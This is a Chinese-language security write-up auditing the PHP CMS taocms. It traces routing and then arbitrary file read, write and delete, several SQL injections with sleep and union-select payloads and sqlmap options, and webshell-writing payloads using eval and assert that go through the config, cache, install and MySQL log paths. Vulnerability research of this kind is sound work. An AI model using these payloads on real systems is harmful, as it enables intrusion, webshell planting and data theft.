PHP代码审计之taocms
2023-1-25 17:32:0 Author: xz.aliyun.com(查看原文) 阅读量:33 收藏




首先我们来分析该系统的路由信息,以及如何进行参数的构造。

该系统有两个路由,一是前台功能点路由,二后台功能点路由,但两个路由代码类似只不过后台路由添
加了session校验,我们先来看看前台路由是怎么构造的。
前台路由放在api.php文件中。


在common.php中22行代码处中调用__autoload() 魔术方法来加载 Model 文件夹下的功能代码,方便后续路由的调用。在代码30行去除 get_magic_quotes_gpc() 方法对特殊字符加载的反斜杠,这可能是为了代码的兼容性。

代码5、6两行传入两个参数 ctrl 、 action ,第7行代码其实就是将 action 传过来的参数首字母转换为
大写,因为类名首字母都是大写的,第8行判断该类是否为 Api 或 Comment。

后台路由代码 admin.php 文件与前台路由代码基本类似,只是在上面添加了session校验,检测是否为
登录状态。

1.任意文件读取/下载

通过上面的路由信息我们知道功能点文件存放在Model文件夹下,我们去翻找Model文件夹发现
file.php 文件也就是File这个类下存在一个 download() 方法。
在这个类中的第85行代码处,我们一目了然的看到了 file_get_contents() 函数,看到这个函数想要
利用,我们会下意思的想到两个点:第一该函数的参数是否可控;第二该函数是没有回显的,如果想要
利用是需要使用 echo 等函数配合。我们只需要查看这里file_get_contents() 中参数是否可控就可以了。

漏洞复现:

由于在上面我们已经分析过路由的构造,所以我们可以不用特意去找功能点就能构造出利用路由。
在路由中 action 传入的是我们要实例化的类名 file , ctrl 则对应我们需要调用的方法 download 。

2.任意文件上传

首先我们去创建一个.php后缀的文件

通过这里我们发现 executeupload() 方法中调用了Upload类下的 upload() 方法,这里的上传主要调
用了upload()方法,我们主要去看下他是如何进行过滤的。

在该方法的最上面定义了 $upext 变量,这里包含了可以上传的后缀名,也就是白名单,大致看了这些
后缀没有可利用的。然后下面通过 $_FILES 接收上传文件,通过 pathinfo() 获取上传文件名。

关键在于代码106行通过 [extension] 获取后缀名,然后到代码107行进行正则匹配如果上传的文件名
不在 $upext 白名单中,则返回下面的提示信息。

这里上传是走不通的,但是在上传的右边有一个创建文件的功能点,我们发现这里竟然没有限制可以上
传任意文件,

在 create() 方法中,首先接收文件名 name ,然后通过 isdir 来判断创建的是目录还是文件,然后分别做不同的操作进行创建。

然后我们在看看他是如何进行文件写入的,其实下面的功能点就可以直接写入文件内容,

其实这里写入内容的代码也在 File 这个类中,在 save() 方法中只是对该文件是否具有写入权限进行判
断,就直接将内容写入到文件中。

漏洞复现:

3.mysql日志文件getshell

在Sql类下的 excute() 方法,依旧的简洁明了。通过14行传入 $sqltext 参数也就是我们的SQL语句,
在15行实例化 Dbclass 类调用其中 query() 方法直接执行SQL语句。最后18行将我们SQL语句结果进行
打印输出。

漏洞复现:

MySQL日志文件getshell
Mysql 5.6.34版本以后无法通过into outfile、into dumpfile进行文件写入
我们通过日志文件写shell即可
set global general_log = on;
set global general_log_file = '网站绝对路径';

4.通过修改配置文件getshell

在后台有这么一个 网站设置 功能点,大致一看这里的内容和config.php文件中内容是一致的
首先我们去查看代码该功能点代码,这里调用 upload() 方法,第53行直接判断config.php是否可写,
然后通过POST接收参数,但是这里参数值会被57行代码处的 safeword() 方法进行过滤,跟进该方法看
看是如何对输入内容进行过滤的。

在 safeword() 方法中需要传入两个参数,一个是需要过滤的字符串,另一个参数则决定走哪个case。
上面没有给出第二个参数则直接走默认level,也就是154行下面的代码,在155行判断了数据库类型是否
为 Sqlite 是的话执行Sqlite的过滤代码,如果不是则走158行的else,,调用 Base::_addslashs() 方
法,跟进该方法。

将传入的字符通过 addslashes() 函数将特殊字符添加反斜杠,无法绕过限制。

所以我们只能走上面的if条件,这里只要数据库为 Sqlite ,下面的单引号会被替换为两个单引号(当时以
为将单引号替换为双引号了),而这个替换方式是可以被绕过的。

然后我们返回 upload() 方法的第60行,直接将过滤后的内容通过 file_put_contents() 写入到
config.php中。

通过分析源码,我们知道输入的单引号会替换为两个双引号,如果我们输入 \' 这样在替换为两个双
引号的时候第一个双引号前会有一个反斜杠,那么我们就可以闭合前面的双引号,我们的PHP代码就能
逃逸出来。我们的payload可以构造为:
\');@eval($_REQUEST[1]);/*

5.缓存文件getshell

我们在搜索危险函数的时候发现一处很有可能getshell的地方,我们先看这里的$arrayData是否可控。

这里代码37行的 $o 也就是对应代码49行的 $cat 数组中的内容是从数据库中 cms_category 表中获取的。那么如果这里表中的内容是我们可以控制的那么就能写入任意内容。

我们去看下该表中的内容

从数据内容可以看出这里的功能点其实就是 管理栏目 中的内容,这里就可以添加内容。

这里通过 columsdata() 接收参数,然后通过 add_one() 进行数据插入这里还是通过 safeword() 进行数据的过滤的,但是这里的 safeword() 方法在后续并没有起到过滤的效果。

通过搜索该文件可以发现有好几处包含了该模板文件,所以我们这里就可以通过写入缓存文件getshell。

cat_array.inc 文件内容如下

然后我们访问刚才包含该文件的路由

6.sql注入

直接先进入admin.php和index.php

可以通过函数名和语义分析出是根据一些变量或者一些路径来渲染,加载模板文件,随后回显到前端。

再看admin.php,发现存在action参数和ctrl参数。
发现有两个方法,class_exists和method_exists,这两个函数是判断是否存在类和方法的,接下if内的语句判断,指导action是类名,ctrl是函数名,有点像路由

搜索发现处理数据库请求的类为cms方法为lists

跟进该方法。

发现有过滤函数对变量进行了一些过滤处理。

发现对输入也做了处理。

注入点存在处

最后找到几个未过滤的函数方法:delist、getquery、updatelist、get_one、getlist
那就值针对这几个方法看
审计开始
先看第一个函数delist,看到有三个文件有这三个函数,先看第一个

delist

Article类
看到传入的参数有表名、参数id,以及where参数,用于筛选匹配数据

在后台管理系统中没看到该模块的调用,然后看CMS类的时候发现CMS继承了Article类,所以看CMS类就好了
Category
这里可以看到仍然没有对id进行过滤,直接使用sleep(5)延时,所以返回时间没啥变化。

测试bool盲注,对语句进行拼接,看参数知道是id
payload:27) or 1=1#

采用延时确认,发现成功延时12s,我们的语句写的是4s,说明经历了三次注入。

这里payload使用--+是失败的,还是需要用#号,不是很明白
直接上sqlmap,注入出当前user,使用的一些参数
-v 3 --level 5 --risk 3 --random-agent --current-user --technique T --dbms mysql -p id

继续跟进代码,看看为什么产生了三次延时,看看createtag方法

可以看到传参值也是id,而id在加入sql语句前也没有进行安全处理,只针对tags参数进行过滤,但是我们这个删除执行很明显没有传递tag参数,所以走的是下面的else语句,成功拼接到语句中,根据之前阅读的方法知道,delist、getquery、updatelist、get_one、getlist这几个函数中没有对输入值进行过滤,执行我们的payload。
这里有两条语句都拼接了所以一共延时了3次

getquery参数处

没有找到合适的调用方法,所以接着看下一个参数。


updatelist
category
看到这里的调用,发现是经过这个add_one处理过的,不是传参的那个status

add_one处理POST传输的数据,对数据了过滤转义,然后返回值,所以不存在注入

而在update函数中,没有进行数据数据过滤处理,有可能存在注入

payload:1) or sleep(4)#getlist

getlist参数处

category
根据参数知道id对应的参数为$where参数,对应的同样没有过滤,直接打入payload

延时4s

Admin
全局搜索getlis,在admin.php中找到edit方法存在getlist的调用,并且能够可控参数

那么直接抓包修改id值,注意不能用or,我用or这个payload打的时候没触发sleep()函数,因为or是代表或的意思,而这里id=2,2是存在的,所以就不执行sleep函数,就像命令中的“||”符号。所以用and直接一起执行。
payload:2 and sleep(5)%23
执行成功,直接延时5s

Category
可以看到也是继承的Article,注入位置也是相同的

payload:1 or sleep(5)%23

Cms
筛选到cms类中的updateurl方法存在该函数调用,分析前后发现$addsql参数是由$id参数组合而成的,那么也很明显的存在注入,id没有经过处理。

延时成功

lists方法也存在注入点,继续发现getlist语句的参数由$addsql控制,而该参数能够拼接,发现name参数被用安全方法过滤了危险字符,所以主要看cat和status参数。,在save方法。

这个方法我一直想知道在哪个地方调用,我是用ctrl调用也不行,然后发现他是通过传参调用的,在save方法找到该方法的调用。

读源码的时候发现这个tags参数进行了safeword过滤,但是等级只有3级,没有用最高级的,所以没有对输入做到完全过滤的方法,tags还是能进行注入
根据语句:$tagdata=$this->db->getlist(TB."relations","name='".$tag."'","id,counts",1);可以知道是字符型注入,需要闭合单引号。
payload:test'+or+sleep(2)%23

这个位置也有另一个注入点。

6.install处getshell

判断是否有POST传入db_name,如果有的话就会赋值给$db_name参数,如果没有就会赋值默认的值,跟进

可以看到这里先调用file_get_contents读取了配置文件当中的内容,接着调用了str_replace将默认值替换成了POST中传入的参数值,这里其实三个参数都能够写入shell文件,这里对db_name进行写入shell。
db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//

7.任意文件删除

根据poc对代码进行分析
?action=file&ctrl=del&path=filepath

先会调用Base类中的catauth方法对$action参数进行判断,之后会判断是否存在相应的类,如果存在的话就实例化该类并赋值给$model,并且会判断$ctrl方法是否存在于$action类中,存在的话就会调用类中无参方法

include/Model/Base.php#119,通过调试发现$_SESSION[TB.'admin_level']=admin,所以返回值为true恒成立,所以上面的代码逻辑会接着往下走
传入的$action=file,定位到类文件include/Model/File.php

根据File类的构造方法,以及前面传入的参数,$id是可控的,但是没有赋值默认为0,$table即是$action=file,接着这里会对指定文件的真实路径进行拼接,这里的SYS_ROOT就是整个项目的绝对磁盘路径。

这里会对指定绝对路径要删除的文件的全选进行判断,并且如果是文件夹的话会遍历文件夹并判断文件夹是否为空,之后就会直接进行删除的操作,加上目录穿越就可以进行任意文件删除了。

8.sql注入

根据poc对源代码进行分析漏洞原理。
poc
?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2
根据poc来进行分析
include\Model\Cms.php#112

name,cat,status三个参数都由GET传入,都可控,直接来看调用的DB类中的getlist方法
include/Db/Mysql.php#60

调用的方法除了前三个参数是由前面调用时传入的参数覆盖的,其他两个参数为默认值,调试输出了最后的sql查询语句
select count(*) from cms_cms where 1=1 and name like "%-1%" union select group_concat(table_name) from information_schema.tables where table_schema=database()#%" ORDER BY id DESC limit 20
这里sql执行完之后会调用Base类中的magic2word方法,对结果是否为数组进行判断,如果是数组就会存入新的数组并且返回赋值给$datas数组,打印该数组可以发现注入的语句已经成功执行并返回了结果

https://forum.butian.net/share/992
http://anyun.org/a/anquanjuhe/Seayxinxianquanboke/2017/0213/8445.html
https://xz.aliyun.com/t/11063


文章来源: https://xz.aliyun.com/t/12068
如有侵权请联系:admin#unsafe.sh